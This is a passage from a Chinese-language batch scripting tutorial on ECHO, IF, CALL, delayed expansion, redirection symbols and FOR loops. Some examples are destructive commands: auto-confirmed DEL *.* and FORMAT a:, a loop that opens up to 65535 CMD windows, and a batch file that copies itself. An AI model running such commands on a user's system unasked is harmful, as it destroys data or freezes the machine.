    上述格式可以用于简化一些需要人机对话的命令(如:CHKDSK/F;FORMAT Drive:;del *.*)的操作,它是通过DOS管道命令把ECHO命令输出的预置答复语作为人机对话命令的输入。下面的例子就相当于在调用的命令出现人机对话时输入“Y”回车:
    C:>ECHO Y|CHKDSK/F
    C:>ECHO Y|DEL A :*.*
    (7)建立新文件或增加文件内容 
    格式:ECHO 文件内容>文件名
          ECHO 文件内容>>文件名
    例如:
    C:>ECHO @ECHO OFF>AUTOEXEC.BAT建立自动批处理文件
    C:>ECHO C:\CPAV\BOOTSAFE>>AUTOEXEC.BAT向自动批处理文件中追加内容
    C:>TYPE AUTOEXEC.BAT显示该自动批处理文件
    @ECHO OFF
    C:\CPAV\BOOTSAFE
    (8)向打印机输出打印内容或打印控制码 
    格式:ECHO 打印机控制码>;PRN
          ECHO 打印内容>;PRN
    下面的例子是向M-1724打印机输入打印控制码。<Alt>156是按住Alt键在小键盘键入156,类似情况依此类推:
    C:>ECHO +156+42+116>;PRN(输入下划线命令FS*t)
    C:>ECHO [email=+155@]+155@>;PRN[/email](输入初始化命令ESC@)
    C:>ECHO.>;PRN(换行)
    (9)使喇叭鸣响 
    C:>ECHO ^G
    “^G”是在dos窗口中用Ctrl+G或Alt+007输入,输入多个^G可以产生多声鸣响。使用方法是直接将其加入批处理文件中或做成批处理文件调用。
    这里的“^G”属于特殊符号的使用,请看本文后面的章节

    3、PAUSE
    PAUSE,玩游戏的人都知道,暂停的意思
    在这里就是停止系统命令的执行并显示下面的内容。
    例:
    PAUSE
    运行显示:
    请按任意键继续. . .
    要显示其他提示语,可以这样用:
    Echo 其他提示语 & pause > nul

    4、errorlevel
    程序返回码
    echo %errorlevel%
    每个命令运行结束,可以用这个命令行格式查看返回码
    用于判断刚才的命令是否执行成功
    默认值为0,一般命令执行出错会设 errorlevel 为1

    5、title
    设置cmd窗口的标题
    title 新标题        #可以看到cmd窗口的标题栏变了

    6、COLOR
    设置默认的控制台前景和背景颜色。
    COLOR [attr]
      attr        指定控制台输出的颜色属性
    颜色属性由两个十六进制数字指定 -- 第一个为背景,第二个则为
    前景。每个数字可以为以下任何值之一:
        0 = 黑色       8 = 灰色
        1 = 蓝色       9 = 淡蓝色
        2 = 绿色       A = 淡绿色
        3 = 湖蓝色     B = 淡浅绿色
        4 = 红色       C = 淡红色
        5 = 紫色       D = 淡紫色
        6 = 黄色       E = 淡黄色
        7 = 白色       F = 亮白色
    如果没有给定任何参数,该命令会将颜色还原到 CMD.EXE 启动时
    的颜色。这个值来自当前控制台窗口、/T 开关或
    DefaultColor 注册表值。
    如果用相同的前景和背景颜色来执行 COLOR 命令,COLOR 命令
    会将 ERRORLEVEL 设置为 1。
    例如: "COLOR fc" 在亮白色上产生亮红色

    7、mode 配置系统设备
    配置系统设备。
    串行口:        MODE COMm[:] [BAUD=b] [PARITY=p] [DATA=d] [STOP=s]
                                    [to=on|off] [xon=on|off] [odsr=on|off]
                                    [octs=on|off] [dtr=on|off|hs]
                                    [rts=on|off|hs|tg] [idsr=on|off]
    设备状态:             MODE [device] [/STATUS]
    打印重定向:   MODE LPTn[:]=COMm[:]
    选定代码页:   MODE CON[:] CP SELECT=yyy
    代码页状态:   MODE CON[:] CP [/STATUS]
    显示模式:       MODE CON[:] [COLS=c] [LINES=n]
    击键率:              MODE CON[:] [RATE=r DELAY=d]
    例:
    mode con cols=113 lines=15 & color 9f
    此命令设置DOS窗口大小:15行,113列

    8、GOTO 和 :
    GOTO会点编程的朋友就会知道这是跳转的意思。
    在批处理中允许以“:XXX”来构建一个标号,然后用GOTO XXX跳转到标号:XXX处,然后执行标号后的命令。
    例:
    if {%1}=={} goto noparms
    if "%2"=="" goto noparms
    标签的名字可以随便起,但是最好是有意义的字符串啦,前加个冒号用来表示这个字符串是标签,goto命令就是根据这个冒号(:)来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

    例:

    @echo off
    :start
    set /a var+=1
    echo %var%
    if %var% leq 3 GOTO start
    pause

    运行显示:
    1
    2
    3
    4


    10、start 命令
    批处理中调用外部程序的命令(该外部程序在新窗口中运行,批处理程序继续往下执行,不理会外部程序的运行状况),如果直接运行外部程序则必须等外部程序完成后才继续执行剩下的指令
    例:start explorer d:\
    调用图形界面打开D盘

    11、assoc 和 ftype
    文件关联
    assoc 设置'文件扩展名'关联,关联到'文件类型'
    ftype 设置'文件类型'关联,关联到'执行程序和参数'
    当你双击一个.txt文件时,windows并不是根据.txt直接判断用 notepad.exe 打开
    而是先判断.txt属于 txtfile '文件类型'
    再调用 txtfile 关联的命令行 txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    可以在"文件夹选项"→"文件类型"里修改这2种关联
    assoc           #显示所有'文件扩展名'关联
    assoc .txt      #显示.txt代表的'文件类型',结果显示 .txt=txtfile
    assoc .doc      #显示.doc代表的'文件类型',结果显示 .doc=Word.Document.8
    assoc .exe      #显示.exe代表的'文件类型',结果显示 .exe=exefile
    ftype           #显示所有'文件类型'关联
    ftype exefile   #显示exefile类型关联的命令行,结果显示 exefile="%1" %* 
    assoc .txt=Word.Document.8
    设置.txt为word类型的文档,可以看到.txt文件的图标都变了
    assoc .txt=txtfile
    恢复.txt的正确关联

    ftype exefile="%1" %*
    恢复 exefile 的正确关联
    如果该关联已经被破坏,可以运行 command.com ,再输入这条命令

    12、pushd 和 popd
    切换当前目录

    @echo off
    c: & cd\ & md mp3       #在 C:\ 建立 mp3 文件夹
    md d:\mp4               #在 D:\ 建立 mp4 文件夹
    cd /d d:\mp4            #更改当前目录为 d:\mp4
    pushd c:\mp3            #保存当前目录,并切换当前目录为 c:\mp3
    popd                    #恢复当前目录为刚才保存的 d:\mp4

    一般用处不大,在当前目录名不确定时,会有点帮助。(dos编程中很有用)

    13、CALL
    CALL命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后,再继续执行原来的批处理
    CALL command 调用一条批处理命令,和直接执行命令效果一样,特殊情况下很有用,比如变量的多级嵌套,见教程后面。在批处理编程中,可以根据一定条件生成命令字符串,用call可以执行该字符串,见例子。
    CALL [drive:][path]filename [batch-parameters]
    调用的其它批处理程序。filename 参数必须具有 .bat 或 .cmd 扩展名。
    CALL :label arguments
    调用本文件内命令段,相当于子程序。被调用的命令段以标签:label开头
    以命令goto :eof结尾。
    另外,批脚本文本参数参照(%0、%1、等等)已如下改变:
         批脚本里的 %* 指出所有的参数(如 %1 %2 %3 %4 %5 ...)
         批参数(%n)的替代已被增强。您可以使用以下语法:(看不明白的直接运行后面的例子)
             %~1         - 删除引号("),扩充 %1
             %~f1        - 将 %1 扩充到一个完全合格的路径名
             %~d1        - 仅将 %1 扩充到一个驱动器号
             %~p1        - 仅将 %1 扩充到一个路径
             %~n1        - 仅将 %1 扩充到一个文件名
             %~x1        - 仅将 %1 扩充到一个文件扩展名
             %~s1        - 扩充的路径指含有短名
             %~a1        - 将 %1 扩充到文件属性
             %~t1        - 将 %1 扩充到文件的日期/时间
             %~z1        - 将 %1 扩充到文件的大小
             %~$PATH : 1 - 查找列在 PATH 环境变量的目录,并将 %1
                           扩充到找到的第一个完全合格的名称。如果环境
                           变量名未被定义,或者没有找到文件,此组合键会
                           扩充到空字符串
        可以组合修定符来取得多重结果:
            %~dp1       - 只将 %1 扩展到驱动器号和路径
            %~nx1       - 只将 %1 扩展到文件名和扩展名
            %~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1,
                           并扩展到找到的第一个文件的驱动器号和路径。
            %~ftza1     - 将 %1 扩展到类似 DIR 的输出行。
        在上面的例子中,%1 和 PATH 可以被其他有效数值替换。
    %~ 语法被一个有效参数号码终止。%~ 修定符不能跟 %*使用
    注意:参数扩充时不理会参数所代表的文件是否真实存在,均以当前目录进行扩展
    要理解上面的知识,下面的例子很关键。
    例:

    @echo off
    Echo 产生一个临时文件 > tmp.txt
    Rem 下行先保存当前目录,再将c:\windows设为当前目录
    pushd c:\windows
    Call :sub tmp.txt
    Rem 下行恢复前次的当前目录
    Popd
    Call :sub tmp.txt
    pause
    Del tmp.txt
    exit
    :sub
    Echo 删除引号: %~1
    Echo 扩充到路径: %~f1
    Echo 扩充到一个驱动器号: %~d1
    Echo 扩充到一个路径: %~p1 
    Echo 扩充到一个文件名: %~n1
    Echo 扩充到一个文件扩展名: %~x1
    Echo 扩充的路径指含有短名: %~s1 
    Echo 扩充到文件属性: %~a1 
    Echo 扩充到文件的日期/时间: %~t1 
    Echo 扩充到文件的大小: %~z1 
    Echo 扩展到驱动器号和路径:%~dp1
    Echo 扩展到文件名和扩展名:%~nx1
    Echo 扩展到类似 DIR 的输出行:%~ftza1
    Echo.
    Goto :eof

    例:

    set aa=123456
    set cmdstr=echo %aa%
    call %cmdstr%
    pause

    本例中如果不用call,而直接运行%cmdstr%,将显示结果%aa%,而不是123456

    14、shift
    更改批处理文件中可替换参数的位置。
    SHIFT [/n]
    如果命令扩展名被启用,SHIFT 命令支持/n 命令行开关;该命令行开关告诉
    命令从第 n 个参数开始移位;n 介于零和八之间。例如:
        SHIFT /2
    会将 %3 移位到 %2,将 %4 移位到 %3,等等;并且不影响 %0 和 %1。


    15、IF
    IF 条件判断语句,语法格式如下:
    IF [NOT] ERRORLEVEL number command
    IF [NOT] string1==string2 command
    IF [NOT] EXIST filename command
    下面逐一介绍,更详细的分析请看后面章节。

    (1) IF [NOT] ERRORLEVEL number command
    IF ERRORLEVEL这个句子必须放在某一个命令的后面,执行命令后由IF ERRORLEVEL 来判断命令的返回值。
    Number的数字取值范围0~255,判断时值的排列顺序应该由大到小。返回的值大于等于指定的值时,条件成立
    例:
    @echo off
    dir c:
    rem退出代码为>=1就跳至标题1处执行,>=0就跳至标题0处执行
    IF ERRORLEVEL 1 goto 1
    IF ERRORLEVEL 0 goto 0
    Rem 上面的两行不可交换位置,否则失败了也显示成功。
    :0
    echo 命令执行成功!
    Rem 程序执行完毕跳至标题exit处退出
    goto exit
    :1
    echo 命令执行失败!
    Rem 程序执行完毕跳至标题exit处退出
    goto exit
    :exit
    pause
    运行显示:命令执行成功!
    (2) IF [NOT] string1==string2 command
    string1和string2都为字符的数据,英文内字符的大小写将看作不同,这个条件中的等于号必须是两个(绝对相等的意思)
    条件相等后即执行后面的command
    检测当前变量的值做出判断,为了防止字符串中含有空格,可用以下格式
    if [NOT] {string1}=={string2} command
    if [NOT] [string1]==[string2] command
    if [NOT] "string1"=="string2" command
    这种写法实际上将括号或引号当成字符串的一部分了,只要等号左右两边一致就行了,比如下面的写法就不行:
    if {string1}==[string2] command

    (3) IF [NOT] EXIST filename command
    EXIST filename为文件或目录存在的意思
    echo off
    IF EXIST autoexec.bat echo 文件存在!
    IF not EXIST autoexec.bat echo 文件不存在!
    这个批处理大家可以放在C盘和D盘分别执行,看看效果

    16、setlocal 与 变量延迟
    本条内容引用[英雄出品]的批处理教程:
    要想进阶,变量延迟是必过的一关!所以这一部分希望你能认真看。
    为了更好的说明问题,我们先引入一个例子。
    例1:

    @echo off
    set a=4
    set a=5 & echo %a%
    pause

    结果:4
    解说:为什么是4而不是5呢?在echo之前明明已经把变量a的值改成5了?
    让我们先了解一下批处理运行命令的机制:
    批处理读取命令时是按行读取的(另外例如for命令等,其后用一对圆括号闭合的所有语句也当作一行),在处理之前要完成必要的预处理工作,这其中就包括对该 行命令中的变量赋值。我们现在分析一下例1,批处理在运行到这句“set a=5 & echo %a%”之前,先把这一句整句读取并做了预处理——对变量a赋了值,那么%a%当然就是4了!(没有为什么,批处理就是这样做的。)
    而为了能够感知环境变量的动态变化,批处理设计了变量延迟。简单来说,在读取了一条完整的语句之后,不立即对该行的变量赋值,而会在某个单条语句执行之前再进行赋值,也就是说“延迟”了对变量的赋值。
    那么如何开启变量延迟呢?变量延迟又需要注意什么呢?举个例子说明一下:
    例2:

    @echo off
    setlocal enabledelayedexpansion
    set a=4
    set a=5 & echo !a!
    pause 

    结果:5
    解说:启动了变量延迟,得到了正确答案。变量延迟的启动语句是“setlocal enabledelayedexpansion”,并且变量要用一对叹号“!!”括起来(注意要用英文的叹号),否则就没有变量延迟的效果。
    分析一下例2,首先“setlocal enabledelayedexpansion”开启变量延迟,然后“set a=4”先给变量a赋值为4,“set a=5 & echo !a!”这句是给变量a赋值为5并输出(由于启动了变量延迟,所以批处理能够感知到动态变化,即不是先给该行变量赋值,而是在运行过程中给变量赋值,因此此时a的值就是5了)。
    再举一个例子巩固一下。
    例3:

    @echo off
    setlocal enabledelayedexpansion
    for /l %%i in (1,1,5) do (
    set a=%%i
    echo !a!
    )
    pause

    结果:
    1
    2
    3
    4
    5
    解说:本例开启了变量延迟并用“!!”将变量扩起来,因此得到我们预期的结果。如果不用变量延迟,结果是这样的:
    ECHO 处于关闭状态。
    ECHO 处于关闭状态。
    ECHO 处于关闭状态。
    ECHO 处于关闭状态。
    ECHO 处于关闭状态。
    即没有感知到for语句中的动态变化。
    提示:在没有开启变量延迟的情况下,某条命令行中的变量改变,必须到下一条命令才能体现。这一点也可以加以利用,看例子。
    例:交换两个变量的值,且不用中间变量

    @echo off
    ::目的:交换两个变量的值,但是不使用临时变量
    ::Code by JM 2007-1-24 [email=CMD@XP]CMD@XP[/email]
    ::出处:http://www.cn-dos.net/forum/viewthread.php?tid=27078
    set var1=abc
    set var2=123
    echo 交换前: var1=%var1% var2=%var2%
    set var1=%var2%& set var2=%var1%
    echo 交换后: var1=%var1% var2=%var2%
    pause

     

    17、ATTRIB  显示或更改文件属性
    ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H] [[drive:] [path] filename] [/S [/D]]
      +   设置属性。
      -    清除属性。
      R   只读文件属性。
      A   存档文件属性。
      S   系统文件属性。
      H   隐藏文件属性。
      [drive:][path][filename]
          指定要处理的文件属性。
      /S  处理当前文件夹及其子文件夹中的匹配文件。
      /D  也处理文件夹。

    例:

    md autorun
    attrib +a +s +h autorun

    上面的命令将建立文件夹autorun,然后将其设为存档、系统、隐藏属性


    第二节 常用特殊符号

    1、@  命令行回显屏蔽符
    2、%  批处理变量引导符
    3、>   重定向符
    4、>>  重定向符
    5、<、>&、<& 重定向符
    6、|  命令管道符
    7、^  转义字符
    8、&  组合命令
    9、&& 组合命令
    10、||  组合命令
    11、""  字符串界定符
    12、, 逗号
    13、; 分号
    14、() 括号
    15、! 感叹号
    16、批处理中可能会见到的其它特殊标记符: (略)
        CR(0D) 命令行结束符 
        Escape(1B) ANSI转义字符引导符 
        Space(20) 常用的参数界定符 
        Tab(09) ; = 不常用的参数界定符 
        + COPY命令文件连接符 
        * ? 文件通配符 
        / 参数开关引导符 
        : 批处理标签引导符 

    1、@  命令行回显屏蔽符
    这个字符在批处理中的意思是关闭当前行的回显。我们从前几课知道
    ECHO OFF可以关闭掉整个批处理命令的回显,但不能关掉ECHO OFF这个命令,现在我们在ECHO OFF这个命令前加个@,就可以达到所有命令均不回显的要求

    2、%  批处理变量引导符
    这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍)。
    引用变量用%var%,调用程序外部参数用%1至%9等等
    %0  %1  %2  %3  %4  %5  %6  %7  %8  %9  %*为命令行传递给批处理的参数
    %0 批处理文件本身,包括完整的路径和扩展名
    %1 第一个参数
    %9 第九个参数
    %* 从第一个参数开始的所有参数
    参数%0具有特殊的功能,可以调用批处理自身,以达到批处理本身循环的目的,也可以复制文件自身等等。
    例:最简单的复制文件自身的方法
    copy %0 d:\wind.bat
    小技巧:添加行内注释
    %注释内容%(可以用作行内注释,不能出现重定向符号和管道符号)
    为什么这样呢?此时“注释内容”其实被当作变量,其值是空的,故只起注释作用,不过这种用法容易出现语法错误,一般不用。

    3、>   重定向符
    输出重定向命令
    这个字符的意思是传递并且覆盖,他所起的作用是将运行的结果传递到后面的范围(后边可以是文件,也可以是默认的系统控制台)
        在NT系列命令行中,重定向的作用范围由整个命令行转变为单个命令语句,受到了命令分隔符&,&&,||和语句块的制约限制。
    比如:
    使用命令:echo hello >1.txt将建立文件1.txt,内容为”hello “(注意行尾有一空格)
    使用命令:echo hello>1.txt将建立文件1.txt,内容为”hello“(注意行尾没有空格)

    4、>>  重定向符
    输出重定向命令
    这个符号的作用和>有点类似,但他们的区别是>>是传递并在文件的末尾追加,而>是覆盖
    用法同上
    同样拿1.txt做例子
    使用命令:
    echo hello > 1.txt
    echo world >>1.txt
    这时候1.txt 内容如下:
    hello
    world

    5、<、>&、<& 重定向符
    这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。(本人已查过,网上也查不到相关资料)
    <,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
    @echo off
    echo 2005-05-01>temp.txt
    date <temp.txt
    del temp.txt
    这样就可以不等待输入直接修改当前日期
    >&,将一个句柄的输出写入到另一个句柄的输入中。
    <&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。
    常用句柄:0、1、2,未定义句柄:3—9
    1>nul 表示禁止输出正确的信息
    2>nul 表示禁止输出错误信息。
    其中的1与2都是代表某个数据流输入输出的地址(NT CMD 称之为句柄,MSDOS称之为设备)。
    句柄0:标准输入stdin,键盘输入
    句柄1:标准输出stdout,输出到命令提示符窗口(console,代码为CON)
    句柄2:标准错误stderr,输出到命令提示符窗口(console,代码为CON)
    其中的stdin可被<重定向,stdout可被>、>>重定向。
    我们已经知道读取文本中的内容可以用for命令,但如果只需要读取第一行用for命令就有点麻烦。简单的办法如下:
    @echo off
    set /p str=<%0
    echo %str%
    pause
    运行显示批处理文件自身的第一行:@echo off

    6、|  命令管道符
    格式:第一条命令 | 第二条命令 [| 第三条命令...]
    将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
    例如:
    dir c:\|find "txt"
    以上命令是:查找C:\所有,并发现TXT字符串。
    FIND的功能请用 FIND /? 自行查看
    在不使format的自动格式化参数时,我是这样来自动格式化A盘的
    echo y|format a: /s /q /v:system
    用过format的都知道,再格盘时要输入y来确认是否格盘,这个命令前加上echo y并用|字符来将echo y的结果传给format命令
    从而达到自动输入y的目的
    (这条命令有危害性,测试时请慎重)


    7、^  转义字符
    ^是对特殊符号<,>,&的前导字符,在命令中他将以上3个符号的特殊功能去掉,仅仅只把他们当成符号而不使用他们的特殊意义。
    比如
    echo test ^>1.txt
    结果则是:test > 1.txt
    他没有追加在1.txt里,呵呵。只是显示了出来
    另外,此转义字符还可以用作续行符号。
    举个简单的例子:
    @echo off
    echo 英雄^
    是^
    好^
    男人
    pause
    不用多说,自己试一下就明白了。
    为什么转义字符放在行尾可以起到续行符的作用呢?原因很简单,因为每行末尾还有一个看不见的符号,即回车符,转义字符位于行尾时就让回车符失效了,从而起到了续行的作用。


    8、&  组合命令
    语法:第一条命令 & 第二条命令 [& 第三条命令...]
    &、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。因为批处理认行不认命令数目。
    这个符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
    这里&两边的命令是顺序执行的,从前往后执行。
    比如:
    dir z:\ & dir y:\ & dir c:\
    以上命令会连续显示z,y,c盘的内容,不理会该盘是否存在

    9、&& 组合命令
    语法:第一条命令 && 第二条命令 [&& 第三条命令...]
    用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令
    这个命令和上边的类似,但区别是,第一个命令失败时,后边的命令也不会执行
    dir z:\ && dir y:\ && dir c:\

    10、||  组合命令
    语法:第一条命令 || 第二条命令 [|| 第三条命令...]
    用这种方法可以同时执行多条命令,当一条命令失败后才执行第二条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

    提示:组合命令和重定向命令一起使用必须注意优先级
    管道命令的优先级高于重定向命令,重定向命令的优先级高于组合命令
    问题:把C盘和D盘的文件和文件夹列出到a.txt文件中。看例:
    dir c:\ && dir d:\ > a.txt
    这 样执行后a.txt里只有D盘的信息!为什么?因为组合命令的优先级没有重定向命令的优先级高!所以这句在执行时将本行分成这两部分:dir c:\和dir d:\ > a.txt,而并不是如你想的这两部分:dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写:
    dir c:\ > a.txt && dir d:\ >> a.txt
    这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。
    当然这里还可以利用&命令(自己想一下道理哦):
    dir c:\ > a.txt & dir d:\ >> a.txt
    [这个也可以用 dir c:\;d:\ >>a.txt 来实现]

    11、""  字符串界定符
    双引号允许在字符串中包含空格,进入一个特殊目录可以用如下方法
    cd "program files"
    cd progra~1
    cd pro*
    以上三种方法都可以进入program files这个目录

    12、, 逗号
    逗号相当于空格,在某些情况下“,”可以用来当做空格使
    比如
    dir,c:\

    13、; 分号
    分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序仍会执行。(有人说不会继续执行,其实测试一下就知道了)
    比如:
    dir c:\;d:\;e:\;z:\
    以上命令相当于
    dir c:\
    dir d:\
    dir e:\
    dir f:\
    如果其中z盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。
    例:dir c:\;d:\;e:\1.txt
    以上命令相当于
    dir c:\
    dir d:\
    dir e:\1.txt
    其中文件e:\1.txt不存在,但e盘存在,有错误提示,但命令仍会执行。

    为什么?如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。
    就说这些了!各位有什么意见请回贴!有什么疑问请到BAT交流区发贴!下一节改进!

    14、() 括号
    小括号在批处理编程中有特殊的作用,左右括号必须成对使用,括号中可以包括多行命令,这些命令将被看成一个整体,视为一条命令行。
        括号在for语句和if语句中常见,用来嵌套使用循环或条件语句,其实括号()也可以单独使用,请看例子。
    例:
    命令:echo 1 & echo 2 & echo 3
    可以写成:
    (
    echo 1
    echo 2
    echo 3
    )
    上面两种写法效果一样,这两种写法都被视为是一条命令行。
    注意:这种多条命令被视为一条命令行时,如果其中有变量,就涉及到变量延迟的问题。

    15、! 感叹号
    没啥说的,在变量延迟问题中,用来表示变量,即%var%应该表示为!var!,请看前面的setlocal命令介绍。

     

    第二章 DOS循环:for命令详解

    讲FOR之前呢,咋先告诉各位新手朋友,如果你有什么命令不懂,直接在CMD下面输入:name /? 这样的格式来看系统给出的帮助文件,比如for /? 就会把FOR命令的帮助全部显示出来!当然许多菜鸟都看不懂....所以才会有那么多批处理文章!!俺也照顾菜鸟,把FOR命令用我自己的方式说明下!


    一、基本格式
    FOR %%variable IN (set) DO command [command-parameters]
      %%variable  指定一个单一字母表示可替换的参数。
      (set)      指定一个或一组文件。可以使用通配符。
      command    指定对每个文件执行的命令。
      command-parameters
                 为特定命令指定参数或命令行开关。

    参数:FOR有4个参数 /d   /l   /r   /f   他们的作用我在下面用例子解释现在开始讲每个参数的意思

    二、参数 /d
    FOR /D %%variable IN (set) DO command [command-parameters]
        如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
    如果 Set (也就是我上面写的 "相关文件或命令") 包含通配符(* 和 ?),将对与 Set 相匹配的每个目录(而不是指定目录中的文件组)执行指定的 Command。这个参数主要用于目录搜索,不会搜索文件,看这样的例子:

    @echo off
    for /d %%i in (c:\*) do echo %%i
    pause

    运行会把C盘根目录下的全部目录名字打印出来,而文件名字一个也不显示!再来一个,比如我们要把当前路径下文件夹的名字只有1-3个字母的打出来:

    @echo off
    for /d %%i in (???) do echo %%i
    pause

    这样的话如果你当前目录下有目录名字只有1-3个字母的,就会显示出来,没有就不显示了。这里解释下*号和?号的作用,*号表示任意N个字符,而?号只表示任意一个字符。知道作用了,给大家个思考题目:

    @echo off
    for /d %%i in (window?) do echo %%i
    pause

    保存到C盘下执行,会显示什么呢?自己看吧!提示:windows /D参数只能显示当前目录下的目录名字,这个大家要注意!


    三、参数 /R
    FOR /R [[drive:]path] %%variable IN (set) DO command [command-parameters]
        检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。


    递归
    上面我们知道,/D只能显示当前路径下的目录名字,那么现在这个/R也是和目录有关,他能干嘛呢?放心他比/D强大多了!
    他可以把当前或者你指定路径下的文件名字全部读取,注意是文件名字,有什么用看例子!
    请注意2点:
        1、set中的文件名如果含有通配符(?或*),则列举/R参数指定的目录及其下面的所用子目录中与set相符合的所有文件,无相符文件的目录则不列举。
        2、相反,如果set中为具体文件名,不含通配符,则枚举该目录树(即列举该目录及其下面的所有子目录),而不管set中的指定文件是否存在。这与前面所说的单点(.)枚举目录树是一个道理,单点代表当前目录,也可视为一个文件。
    例:

    @echo off
    for /r c:\ %%i in (*.exe) do echo %%i
    pause

    把这个BAT保存到D盘随便哪里然后执行,我会就会看到,他把C盘根目录和每个目录的子目录下面全部的EXE文件都列出来了!
    例:

    @echo off
    for /r %%i in (*.exe) do @echo %%i
    pause

    参数不一样了吧!这个命令前面没加那个C:\也就是搜索路径,这样他就会以当前目录为搜索路径,比如你这个BAT你把他放在d:\test目录下执行,那么他就会把D:\test目录和他下面的子目录的全部EXE文件列出来!
    例:

    @echo off
    for /r c:\ %%i in (boot.ini) do echo %%i
    pause

    运行本例发现枚举了c盘所有目录,为了只列举boot.ini存在的目录,可改成下面这样:

    @echo off
    for /r c:\ %%i in (boot.ini) do if exist %%i echo %%i
    pause

    用这条命令搜索文件真不错。。。这个参数大家应该理解了吧!还是蛮好玩的命令!


    四、参数 /L
    FOR /L %%variable IN (start,step,end) DO command [command-parameters]
        该集表示以增量形式从开始到结束的一个数字序列。
        因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
    使用迭代变量设置起始值 (Start#),然后逐步执行一组范围的值,直到该值超过所设置的终止值 (End#)。/L 将通过对 Start# 与 End# 进行比较来执行迭代变量。如果 Start# 小于 End#,就会执行该命令。如果迭代变量超过 End#,则命令解释程序退出此循环。还可以使用负的 Step# 以递减数值的方式逐步执行此范围内的值。例如,(1,1,5) 生成序列 1 2 3 4 5,而 (5,-1,1) 则生成序列 (5 4 3 2 1)。看着这说明有点晕!看例子就不晕了:

    @echo off
    for /l %%i in (1,1,5) do @echo %%i
    pause

    保存执行看效果,他会打印从1 2 3 4 5  这样5个数字(1,1,5)这个参数也就是表示从1开始每次加1直到5终止!
    等会晕,就打印个数字有P用...好的满足大家,看这个例子

    @echo off
    for /l %%i in (1,1,5) do start cmd
    pause

    执行后是不是吓了一跳,怎么多了5个CMD窗口,呵呵!如果把那个 (1,1,5)改成 (1,1,65535)会有什么结果,我先告诉大家:会打开65535个CMD窗口....这么多你不死机算你强!
    当然我们也可以把那个start cmd改成md %%i,这样就会建立指定个目录了!名字为1-65535。看完这个被我赋予破坏性质的参数后,我们来看最后一个参数


    五、参数 /F
    \迭代及文件解析
    使用文件解析来处理命令输出、字符串及文件内容。使用迭代变量定义要检查的内容或字符串,并使用各种options选项进一步修改解析方式。使用options令牌选项指定哪些令牌应该作为迭代变量传递。请注意:在没有使用令牌选项时,/F 将只检查第一个令牌。
    文件解析过程包括读取输出、字符串或文件内容,将其分成独立的文本行以及再将每行解析成零个或更多个令牌。然后通过设置为令牌的迭代变量值,调用 for 循环。默认情况下,/F 传递每个文件每一行的第一个空白分隔符号。跳过空行。

    详细的帮助格式为:
    FOR /F ["options"] %%variable IN (file-set) DO command [command-parameters]
    FOR /F ["options"] %%variable IN ("string") DO command [command-parameters]
    FOR /F ["options"] %%variable IN ('command') DO command [command-parameters]
        带引号的字符串"options"包括一个或多个
        指定不同解析选项的关键字。这些关键字为:
            eol=c           - 指一个行注释字符的结尾(就一个)
            skip=n          - 指在文件开始时忽略的行数。
            delims=xxx      - 指分隔符集。这个替换了空格和跳格键的
                              默认分隔符集。
            tokens=x,y,m-n  - 指每行的哪一个符号被传递到每个迭代
                              的 for 本身。这会导致额外变量名称的分配。m-n
                              格式为一个范围。通过 nth 符号指定 mth。如果
                              符号字符串中的最后一个字符星号,
                              那么额外的变量将在最后一个符号解析之后
                              分配并接受行的保留文本。经测试,该参数最多
                              只能区分31个字段。
            usebackq        - 使用后引号(键盘上数字1左面的那个键`)。
                            未使用参数usebackq时:file-set表示文件,但不能含有空格
                                双引号表示字符串,即"string"
                                单引号表示执行命令,即'command'
                              使用参数usebackq时:file-set和"file-set"都表示文件
                              当文件路径或名称中有空格时,就可以用双引号括起来
                                单引号表示字符串,即'string'
                                后引号表示命令执行,即`command`

    以上是用for /?命令获得的帮助信息,直接复制过来的。
    晕惨了!我这就举个例子帮助大家来理解这些参数!

    For命令例1:

    @echo off
    rem 首先建立临时文件test.txt
    echo ;注释行,这是临时文件,用完删除 >test.txt
    echo 11段 12段 13段 14段 15段 16段 >>test.txt
    echo 21段,22段,23段,24段,25段,26段 >>test.txt
    echo 31段-32段-33段-34段-35段-36段 >>test.txt
    FOR /F "eol=; tokens=1,3* delims=,- " %%i in (test.txt) do echo %%i %%j %%k
    Pause
    Del test.txt

    运行显示结果:

    11段 13段 14段 15段 16段
    
    21段 23段 24段,25段,26段
    
    31段 33段 34段-35段-36段
    
    请按任意键继续. . .

    为什么会这样?我来解释:
    eol=;          分号开头的行为注释行
    tokens=1,3*    将每行第1段,第3段和剩余字段分别赋予变量%%i,%%j,%%k
    delims=,-     (减号后有一空格)以逗号减号和空格为分隔符,空格必须放在最后

    For 命令例2:

    @echo off
    FOR /F "eol= delims=" %%i in (test.txt) do echo %%i
    Pause

    运行将显示test.txt全部内容,包括注释行,不解释了哈。

    For 命令例3:
    另外/F参数还可以以输出命令的结果看这个例子

